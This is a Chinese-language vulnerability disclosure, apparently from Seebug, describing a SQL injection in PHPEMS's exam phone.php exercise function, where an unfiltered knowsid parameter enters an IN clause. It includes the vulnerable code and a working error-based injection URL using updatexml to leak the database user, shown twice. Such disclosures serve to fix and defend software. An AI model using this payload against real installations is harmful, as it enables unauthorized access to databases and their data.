### 简要描述：

PHPEMS一处SQL注入漏洞

### 详细说明：

8.PHPEMS某处SQL注入漏洞

存在注入漏洞的代码位置是/app/exam/phone.php的exercise()函数中

具体存在漏洞地方位于239行附近

$numbers[$p['questid']] = intval(ceil($this->exam->getQuestionNumberByQuestypeAndKnowsid($p['questid'],$knowids)));

这里getQuestionNumberByQuestypeAndKnowsid第二个参数$knowids是完全可控的

进入函数内部

public function getQuestionNumberByQuestypeAndKnowsid($questype,$knowsid)

{

if(!$knowsid)$knowsid = '0';

$data = array("count(*) AS number",array('questions','quest2knows'),array("questions.questiontype = '{$questype}'","questions.questionparent = 0","questions.questionstatus = 1","questions.questionid = quest2knows.qkquestionid","quest2knows.qkknowsid IN ({$knowsid})","quest2knows.qktype = 0"),false,false,false);

$sql = $this->sql->makeSelect($data);

$r = $this->db->fetch($sql);

$data = array("sum(qrnumber) AS number",array('questionrows','quest2knows'),array("questionrows.qrtype = '{$questype}'","questionrows.qrstatus = 1","questionrows.qrid = quest2knows.qkquestionid","quest2knows.qkknowsid IN ({$knowsid})","quest2knows.qktype = 1"),false,false,false);

$sql = $this->sql->makeSelect($data);

$m = $this->db->fetch($sql);

return $r['number']+$m['number'];

}

没有进行任何过滤就参与SQL语句整合了，于是产生了SQL注入漏洞

验证过程

注册用户，登录之

访问localhost/ems/index.php?exam-phone-exercise-ajax-getQuestionNumber&knowsid=1,updatexml(1,user(),1)

即可验证。

[](https://images.seebug.org/upload/201503/121849579e282aedbb68b0bc14cd01b7c4a9a9cf.png)

验证无误

### 漏洞证明：

注册用户，登录之

访问localhost/ems/index.php?exam-phone-exercise-ajax-getQuestionNumber&knowsid=1,updatexml(1,user(),1)

即可验证。

[](https://images.seebug.org/upload/201503/121849579e282aedbb68b0bc14cd01b7c4a9a9cf.png)

验证无误